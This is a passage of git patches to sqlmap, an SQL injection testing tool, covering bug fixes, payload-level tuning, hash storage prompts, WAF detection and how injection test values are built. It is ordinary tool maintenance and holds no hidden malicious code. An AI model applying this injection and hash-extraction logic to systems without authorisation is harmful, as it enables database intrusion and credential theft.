From 5882ab59d860eed8fa3303fa1e5c2ab01f53ced8 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 1 Jul 2013 22:30:59 +0100 Subject: [PATCH 001/889] fixed #478 --- plugins/generic/entries.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index bc56d2864..aa440a447 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -64,7 +64,7 @@ class Entries: conf.db = self.getCurrentDb() elif conf.db is not None: - if Backend.isDbms(DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: From e498694928782ad5a09a3e57f3940ea8a52377db Mon Sep 17 00:00:00 2001 From: stamparm Date: Tue, 2 Jul 2013 15:01:49 +0200 Subject: [PATCH 002/889] Fix for a NoneType/--columns issue reported over ML --- plugins/generic/databases.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 378fa8a3b..a312dc797 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -378,6 +378,11 @@ class Databases: conf.db = self.getCurrentDb() + if not conf.db: + errMsg = "unable to retrieve the current " + errMsg += "database name" + raise SqlmapNoneDataException(errMsg) + elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() @@ -425,8 +430,7 @@ class Databases: errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) - for tbl in tblList: - tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) + tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: From db536427f07e18f37f1324a02cfa54c5216b2884 Mon Sep 17 00:00:00 2001 From: stamparm Date: Thu, 4 Jul 2013 15:34:00 +0200 Subject: [PATCH 003/889] Adding a question for storing hashes to a temporary file (after a mention of it on Twitter) --- lib/core/option.py | 1 + lib/utils/hash.py | 12 ++++++++++-- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6d32dbb1b..526d35d30 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1661,6 +1661,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.reduceTests = None kb.stickyDBMS = False kb.stickyLevel = None + kb.storeHashesChoice = None kb.suppressResumeInfo = False kb.technique = None kb.testMode = False diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 1f7555a86..df0916b25 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -358,11 +358,19 @@ def storeHashesToFile(attack_dict): if not attack_dict: return + if kb.storeHashesChoice is None: + message = "do you want to store hashes to a temporary file " + message += "for eventual further processing with other tools [y/N] " + test = readInput(message, default="N") + kb.storeHashesChoice = test[0] in ("y", "Y") + + if not kb.storeHashesChoice: + return + handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt") os.close(handle) - infoMsg = "writing hashes to file '%s' " % filename - infoMsg += "for eventual further processing with other tools" + infoMsg = "writing hashes to a temporary file '%s' " % filename logger.info(infoMsg) items = set() From 27bf37e741d439c36bef5d252ed46b7288fd5a8b Mon Sep 17 00:00:00 2001 From: stamparm Date: Thu, 4 Jul 2013 15:41:08 +0200 Subject: [PATCH 004/889] Updating to higher levels for HSQLDB specific payloads (like for e.g. Firebird) --- xml/payloads.xml | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index 8d81e0bf9..c8e304d62 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -2246,7 +2246,7 @@ Formats: HSQLDB >= 1.7.2 Server stacked queries 4 - 1 + 3 0 0 1 @@ -2267,7 +2267,7 @@ Formats: HSQLDB >= 2.0 Server stacked queries 4 - 1 + 4 0 0 1 @@ -2755,7 +2755,7 @@ Formats: HSQLDB >= 1.7.2 AND time-based blind (heavy query) 5 - 2 + 4 2 1,2,3 1 @@ -2796,7 +2796,7 @@ Formats: HSQLDB > 2.0 AND time-based blind (heavy query) 5 - 2 + 4 2 1,2,3 1 @@ -3056,7 +3056,7 @@ Formats: HSQLDB >= 1.7.2 OR time-based blind (heavy query) 5 - 2 + 4 2 1,2,3 1 @@ -3097,7 +3097,7 @@ Formats: HSQLDB > 2.0 OR time-based blind (heavy query) 5 - 2 + 4 2 1,2,3 1 @@ -3436,7 +3436,7 @@ Formats: HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query) 5 - 2 + 4 2 1,2,3 1 @@ -3456,7 +3456,7 @@ Formats: HSQLDB > 2.0 time-based blind - Parameter replace (heavy query) 5 - 2 + 5 2 1,2,3 1 From 8d3435ab0beb62a8d630d7a58012249041cb728f Mon Sep 17 00:00:00 2001 From: stamparm Date: Mon, 8 Jul 2013 11:48:33 +0200 Subject: [PATCH 005/889] Removing reflective warning for parsing heuristic test --- lib/controller/checks.py | 4 ++++ lib/core/common.py | 2 +- lib/core/option.py | 1 + 3 files changed, 6 insertions(+), 1 deletion(-) mode change 100644 => 100755 lib/core/common.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 768f79674..7d8243e10 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -744,10 +744,14 @@ def heuristicCheckSqlInjection(place, parameter): while '\'' not in randStr: randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) + kb.heuristicMode = True + payload = "%s%s%s" % (prefix, randStr, suffix) payload = agent.payload(place, parameter, newValue=payload) page, _ = Request.queryPage(payload, place, content=True, raise404=False) + kb.heuristicMode = False + parseFilePaths(page) result = wasLastResponseDBMSError() diff --git a/lib/core/common.py b/lib/core/common.py old mode 100644 new mode 100755 index d581795fd..ec108eda3 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2880,7 +2880,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False): regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal) - if retVal != content: + if retVal != content and not kb.heuristicMode: kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 if not suppressWarning: warnMsg = "reflective value(s) found and filtering out" diff --git a/lib/core/option.py b/lib/core/option.py index 526d35d30..951e83310 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1599,6 +1599,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.forcedDbms = None kb.headersFp = {} kb.heuristicDbms = None + kb.heuristicMode = False kb.heuristicTest = None kb.hintValue = None kb.htmlFp = [] From a530817727878f1c53142572b9056f0cb1ffbc11 Mon Sep 17 00:00:00 2001 From: stamparm Date: Mon, 8 Jul 2013 11:52:46 +0200 Subject: [PATCH 006/889] Minor typo fix --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 7d8243e10..3e647b633 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -779,7 +779,7 @@ def heuristicCheckSqlInjection(place, parameter): if casting: errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type") - errMsg += "detected (e.g. \"$%s=intval($_REQUEST('%s'))\") " % (parameter, parameter) + errMsg += "detected (e.g. \"$%s=intval($_REQUEST['%s'])\") " % (parameter, parameter) errMsg += "at the back-end web application" logger.error(errMsg) From d0e79a4d15eff0a8fedca04cb59a48b3154990f8 Mon Sep 17 00:00:00 2001 From: stamparm Date: Mon, 8 Jul 2013 12:38:36 +0200 Subject: [PATCH 007/889] Minor text update --- lib/controller/checks.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 3e647b633..b8c8cb856 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -716,13 +716,13 @@ def checkSuhosinPatch(injection): def heuristicCheckSqlInjection(place, parameter): if kb.nullConnection: - debugMsg = "heuristic checking skipped " + debugMsg = "heuristic check skipped " debugMsg += "because NULL connection used" logger.debug(debugMsg) return None if wasLastResponseDBMSError(): - debugMsg = "heuristic checking skipped " + debugMsg = "heuristic check skipped " debugMsg += "because original page content " debugMsg += "contains DBMS error" logger.debug(debugMsg) @@ -1016,7 +1016,7 @@ def checkWaf(): if not conf.checkWaf: return False - infoMsg = "heuristic checking if the target is protected by " + infoMsg = "heuristically checking if the target is protected by " infoMsg += "some kind of WAF/IPS/IDS" logger.info(infoMsg) From a548eb5c70b99dff74e2d79704c52e5335a7142a Mon Sep 17 00:00:00 2001 From: stamparm Date: Mon, 8 Jul 2013 12:44:14 +0200 Subject: [PATCH 008/889] Minor text update --- lib/controller/checks.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b8c8cb856..ec997dc23 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -46,6 +46,7 @@ from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.decorators import cachedmethod from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER @@ -1024,9 +1025,15 @@ def checkWaf(): backup = dict(conf.parameters) + payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD) + conf.parameters = dict(backup) conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" - conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD) + conf.parameters[PLACE.GET] += "%s=%s" % (randomStr(), payload) + import pdb + pdb.set_trace() + + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) kb.matchRatio = None Request.queryPage() From d7c0805e7cd3f6ff906a5d827a55582888beb0d0 Mon Sep 17 00:00:00 2001 From: stamparm Date: Mon, 8 Jul 2013 12:45:02 +0200 Subject: [PATCH 009/889] Removing leftover --- lib/controller/checks.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index ec997dc23..5e4c6e398 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1030,8 +1030,6 @@ def checkWaf(): conf.parameters = dict(backup) conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" conf.parameters[PLACE.GET] += "%s=%s" % (randomStr(), payload) - import pdb - pdb.set_trace() logger.log(CUSTOM_LOGGING.PAYLOAD, payload) From be5ce760b64c4b8d319f75ed11cd5b1c1426da6d Mon Sep 17 00:00:00 2001 From: stamparm Date: Tue, 9 Jul 2013 10:24:48 +0200 Subject: [PATCH 010/889] Fix for an Issue #485 (failing back to single-thread mode if over some bisection length) --- lib/core/settings.py | 3 +++ lib/techniques/blind/inference.py | 4 ++++ 2 files changed, 7 insertions(+) diff --git a/lib/core/settings.py b/lib/core/settings.py index f06022a50..67d4dc153 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -481,6 +481,9 @@ MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 +# Maximum (multi-threaded) length of entry in bisection algorithm +MAX_BISECTION_LENGTH = 50 * 1024 * 1024 + # Mark used for trimming unnecessary content in large chunks LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__" diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index e576366f8..d933ffbc5 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -40,6 +40,7 @@ from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR +from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_TIME_REVALIDATION_STEPS from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER @@ -135,6 +136,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar + if length and length > MAX_BISECTION_LENGTH: + length = None + showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) From aad102378a3f89d94d49939045f8aa1291d2d389 Mon Sep 17 00:00:00 2001 From: stamparm Date: Tue, 9 Jul 2013 11:00:43 +0200 Subject: [PATCH 011/889] Fix for an Issue #487 --- lib/core/agent.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index c7ba435fa..61fdff7cd 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -142,8 +142,7 @@ class Agent(object): elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: - retVal = paramString.replace("%s=%s" % (parameter, origValue), - "%s=%s" % (parameter, self.addPayloadDelimiters(newValue))) + retVal = re.sub(r"(\A|\b)%s=%s" % (parameter, origValue), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) return retVal From f6c7b398fdf0a5993e495c546efdcb19eceac1fe Mon Sep 17 00:00:00 2001 From: stamparm Date: Wed, 10 Jul 2013 16:57:44 +0200 Subject: [PATCH 012/889] Update for an Issue #405 (fix for persistent options problem) --- lib/utils/api.py | 13 +++++++++++-- sqlmapapi.py | 2 ++ 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 3f5bf0183..43c27163c 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -98,16 +98,18 @@ class Task(object): def __init__(self, taskid): self.process = None self.output_directory = None + self.options = None + self._original_options = None self.initialize_options(taskid) def initialize_options(self, taskid): - dataype = {"boolean": False, "string": None, "integer": None, "float": None} + datatype = {"boolean": False, "string": None, "integer": None, "float": None} self.options = AttribDict() for _ in optDict: for name, type_ in optDict[_].items(): type_ = unArrayizeValue(type_) - self.options[name] = _defaults.get(name, dataype[type_]) + self.options[name] = _defaults.get(name, datatype[type_]) # Let sqlmap engine knows it is getting called by the API, the task ID and the file path of the IPC database self.options.api = True @@ -119,6 +121,8 @@ class Task(object): self.options.disableColoring = True self.options.eta = False + self._original_options = AttribDict(self.options) + def set_option(self, option, value): self.options[option] = value @@ -128,6 +132,9 @@ class Task(object): def get_options(self): return self.options + def reset_options(self): + self.options = AttribDict(self._original_options) + def set_output_directory(self): if not self.output_directory or not os.path.isdir(self.output_directory): self.output_directory = tempfile.mkdtemp(prefix="sqlmapoutput-") @@ -419,6 +426,8 @@ def scan_start(taskid): if taskid not in tasks: abort(500, "Invalid task ID") + tasks[taskid].reset_options() + # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): tasks[taskid].set_option(option, value) diff --git a/sqlmapapi.py b/sqlmapapi.py index f82e92c66..e6ed63281 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -42,3 +42,5 @@ if __name__ == "__main__": server(args.host, args.port) elif args.client is True: client(args.host, args.port) + else: + apiparser.print_help() From 1ae68b9bb30d7bcd1bec4c7f20eba5991ba450f8 Mon Sep 17 00:00:00 2001 From: stamparm Date: Wed, 10 Jul 2013 17:18:09 +0200 Subject: [PATCH 013/889] Update for an Issue #405 (fix for usage of old 'complete' data from previous runs) --- lib/utils/api.py | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 43c27163c..d9b049080 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -187,8 +187,6 @@ class StdDbOut(object): def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": - insert = True - if content_type is None: if kb.partRun is not None: content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) @@ -205,14 +203,9 @@ class StdDbOut(object): if status == CONTENT_STATUS.COMPLETE: if len(output) > 0: for index in xrange(0, len(output)): - if output[index][1] == CONTENT_STATUS.COMPLETE: - insert = False - else: - conf.database_cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) + conf.database_cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) - if insert: - conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", - (self.taskid, status, content_type, jsonize(value))) + conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) if kb.partRun: kb.partRun = None From 01159575b282c4de8ea361d3b5586c40673ddec8 Mon Sep 17 00:00:00 2001 From: stamparm Date: Thu, 11 Jul 2013 10:11:43 +0200 Subject: [PATCH 014/889] Fix for an Issue #488 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 951e83310..530575df0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1466,7 +1466,7 @@ def _cleanupOptions(): if conf.csvDel: conf.csvDel = conf.csvDel.decode("string_escape") # e.g. '\\t' -> '\t' - if conf.torPort and conf.torPort.isdigit(): + if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: From dc1623a40fc35ce11b452f682476460f0c613910 Mon Sep 17 00:00:00 2001 From: stamparm Date: Thu, 11 Jul 2013 10:20:58 +0200 Subject: [PATCH 015/889] Fix for a bug reported over ML (error: unbalanced parenthesis) --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 61fdff7cd..6213935e9 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -142,7 +142,7 @@ class Agent(object): elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: - retVal = re.sub(r"(\A|\b)%s=%s" % (parameter, origValue), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) + retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) return retVal From 89d8512edc9ff86e8b7ad87594baf9f80cb7b540 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 13 Jul 2013 11:50:03 +0200 Subject: [PATCH 016/889] Moving bz2 into the cloak functions itself as it's not available by default in custom built Python installations (if not pre-installed libbz2-dev) --- extra/cloak/cloak.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) mode change 100644 => 100755 extra/cloak/cloak.py diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py old mode 100644 new mode 100755 index 1725f0ba8..5283d67c7 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -7,7 +7,6 @@ Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import bz2 import os import sys @@ -25,6 +24,8 @@ def hideAscii(data): return retVal def cloak(inputFile): + import bz2 + f = open(inputFile, 'rb') data = bz2.compress(f.read()) f.close() @@ -32,6 +33,8 @@ def cloak(inputFile): return hideAscii(data) def decloak(inputFile): + import bz2 + f = open(inputFile, 'rb') try: data = bz2.decompress(hideAscii(f.read())) From 4d9f8ad0dd442be205e3987b25c51a7b5d9862f7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 13 Jul 2013 12:00:03 +0200 Subject: [PATCH 017/889] Commit related to the last one --- lib/request/basic.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) mode change 100644 => 100755 lib/request/basic.py diff --git a/lib/request/basic.py b/lib/request/basic.py old mode 100644 new mode 100755 index 7ccb0c926..30869f74f --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -6,12 +6,24 @@ See the file 'doc/COPYING' for copying permission """ import codecs -import gzip import logging import re import StringIO import struct -import zlib + +try: + import gzip + import zlib +except ImportError: + import lib.core.settings + from lib.core.data import logger + + lib.core.settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE = "identity" + + errMsg = "turning off support for HTTP compressed encodings " + errMsg += "because of lack of python compression " + errMsg += "modules ('gzip, zlib')" + logger.critical(errMsg) from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult From 31efabfca13333e0de3d02a873eef61361ce9689 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 13 Jul 2013 16:07:36 +0200 Subject: [PATCH 018/889] Appropriate error messaging when one of core libraries are missing due to erroneous Python build --- lib/request/basic.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 30869f74f..24871ac45 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -12,18 +12,18 @@ import StringIO import struct try: + import bz2 import gzip + import sqlite3 import zlib -except ImportError: - import lib.core.settings +except ImportError, ex: from lib.core.data import logger - lib.core.settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE = "identity" - - errMsg = "turning off support for HTTP compressed encodings " - errMsg += "because of lack of python compression " - errMsg += "modules ('gzip, zlib')" + errMsg = "missing core libraries (bz2, gzip, sqlite3, zlib) " + errMsg += "probably because current version of Python has been " + errMsg += "built without appropriate dev packages" logger.critical(errMsg) + raise SystemExit from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult From 3f6d4083a7d9e04c8043bbc5c16ce2cb71c7066a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 13 Jul 2013 17:19:16 +0200 Subject: [PATCH 019/889] Minor language update --- lib/request/basic.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 24871ac45..b25a77c95 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -19,9 +19,9 @@ try: except ImportError, ex: from lib.core.data import logger - errMsg = "missing core libraries (bz2, gzip, sqlite3, zlib) " + errMsg = "missing one of core extensions (bz2, gzip, sqlite3, zlib) " errMsg += "probably because current version of Python has been " - errMsg += "built without appropriate dev packages" + errMsg += "built without appropriate dev packages (e.g. libsqlite3-dev)" logger.critical(errMsg) raise SystemExit From f54082111dbd48027034811bfaae9c4954fa2a0f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 13 Jul 2013 19:25:49 +0200 Subject: [PATCH 020/889] Better way how to deal with required extensions --- lib/request/basic.py | 16 ++-------------- lib/utils/versioncheck.py | 10 ++++++++++ 2 files changed, 12 insertions(+), 14 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index b25a77c95..7ccb0c926 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -6,24 +6,12 @@ See the file 'doc/COPYING' for copying permission """ import codecs +import gzip import logging import re import StringIO import struct - -try: - import bz2 - import gzip - import sqlite3 - import zlib -except ImportError, ex: - from lib.core.data import logger - - errMsg = "missing one of core extensions (bz2, gzip, sqlite3, zlib) " - errMsg += "probably because current version of Python has been " - errMsg += "built without appropriate dev packages (e.g. libsqlite3-dev)" - logger.critical(errMsg) - raise SystemExit +import zlib from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 9a3d5f5e6..3d882171e 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -11,3 +11,13 @@ PYVERSION = sys.version.split()[0] if PYVERSION >= "3" or PYVERSION < "2.6": exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/download/')" % PYVERSION) + +extensions = ("bz2", "gzip", "ssl", "sqlite3", "zlib") +try: + for _ in extensions: + __import__(_) +except ImportError, ex: + errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions)) + errMsg += "most probably because current version of Python has been " + errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" + exit(errMsg) \ No newline at end of file From a639dbbeabdbe9d107c7aef44c7a3f9777fcafcc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 13 Jul 2013 17:28:03 +0000 Subject: [PATCH 021/889] Now version check works against Python 2.5 too --- sqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.py b/sqlmap.py index 4fdcabc53..38f9f9199 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -101,7 +101,7 @@ def main(): except (SqlmapSilentQuitException, bdb.BdbQuit): pass - except SqlmapBaseException as e: + except SqlmapBaseException, e: e = getUnicode(e) logger.critical(e) sys.exit(1) From a097ee15051ae6f376df82c763efed68e58254d5 Mon Sep 17 00:00:00 2001 From: stamparm Date: Mon, 15 Jul 2013 13:31:56 +0200 Subject: [PATCH 022/889] Switching --invalid-bignum to a pure integer constant (more generic - more statements require pure integer constant) --- lib/controller/checks.py | 2 +- lib/core/agent.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 5e4c6e398..6970cd277 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -332,7 +332,7 @@ def checkSqlInjection(place, parameter, value): _ = randomInt(2) origValue = "%s AND %s=%s" % (value, _, _ + 1) elif conf.invalidBignum: - origValue = "%d.%d" % (randomInt(6), randomInt(1)) + origValue = randomInt(6) else: origValue = "-%s" % randomInt() templatePayload = agent.payload(place, parameter, newValue=origValue, where=where) diff --git a/lib/core/agent.py b/lib/core/agent.py index 6213935e9..a05648dcb 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -117,7 +117,7 @@ class Agent(object): _ = randomInt(2) value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) elif conf.invalidBignum: - value = "%d.%d" % (randomInt(6), randomInt(1)) + value = randomInt(6) else: if newValue.startswith("-"): value = "" From ac2d40e259ce34b36b51f6b165b004e67f4df898 Mon Sep 17 00:00:00 2001 From: stamparm Date: Mon, 15 Jul 2013 13:34:38 +0200 Subject: [PATCH 023/889] Revert of last commit (there is a chance that that big integer value is really valid :) --- lib/controller/checks.py | 2 +- lib/core/agent.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 6970cd277..5e4c6e398 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -332,7 +332,7 @@ def checkSqlInjection(place, parameter, value): _ = randomInt(2) origValue = "%s AND %s=%s" % (value, _, _ + 1) elif conf.invalidBignum: - origValue = randomInt(6) + origValue = "%d.%d" % (randomInt(6), randomInt(1)) else: origValue = "-%s" % randomInt() templatePayload = agent.payload(place, parameter, newValue=origValue, where=where) diff --git a/lib/core/agent.py b/lib/core/agent.py index a05648dcb..6213935e9 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -117,7 +117,7 @@ class Agent(object): _ = randomInt(2) value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) elif conf.invalidBignum: - value = randomInt(6) + value = "%d.%d" % (randomInt(6), randomInt(1)) else: if newValue.startswith("-"): value = "" From c9d3974205221ca7c3406bcb48359efac3919da3 Mon Sep 17 00:00:00 2001 From: stamparm Date: Mon, 15 Jul 2013 13:54:02 +0200 Subject: [PATCH 024/889] Minor fix (templatePayload had duplicate string patterns for where==NEGATIVE) --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 5e4c6e398..9cc427eb8 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -335,7 +335,7 @@ def checkSqlInjection(place, parameter, value): origValue = "%d.%d" % (randomInt(6), randomInt(1)) else: origValue = "-%s" % randomInt() - templatePayload = agent.payload(place, parameter, newValue=origValue, where=where) + templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.REPLACE: origValue = "" From e6f71c213078ce032b290d600e0e363a2bdab9d4 Mon Sep 17 00:00:00 2001 From: stamparm Date: Mon, 15 Jul 2013 16:24:49 +0200 Subject: [PATCH 025/889] Making 10% less requests in futile higher level/risk runs (using static template payloads for where==NEGATIVE) --- lib/controller/checks.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 9cc427eb8..e3e03173d 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -328,13 +328,14 @@ def checkSqlInjection(place, parameter, value): # Use different page template than the original # one as we are changing parameters value, which # will likely result in a different content + kb.data.setdefault("randomInt", str(randomInt(10))) if conf.invalidLogical: - _ = randomInt(2) + _ = int(kb.data.randomInt[:2]) origValue = "%s AND %s=%s" % (value, _, _ + 1) elif conf.invalidBignum: - origValue = "%d.%d" % (randomInt(6), randomInt(1)) + origValue = "%s.%s" % (kb.data.randomInt[:6], kb.data.randomInt[0]) else: - origValue = "-%s" % randomInt() + origValue = "-%s" % kb.data.randomInt[:4] templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == 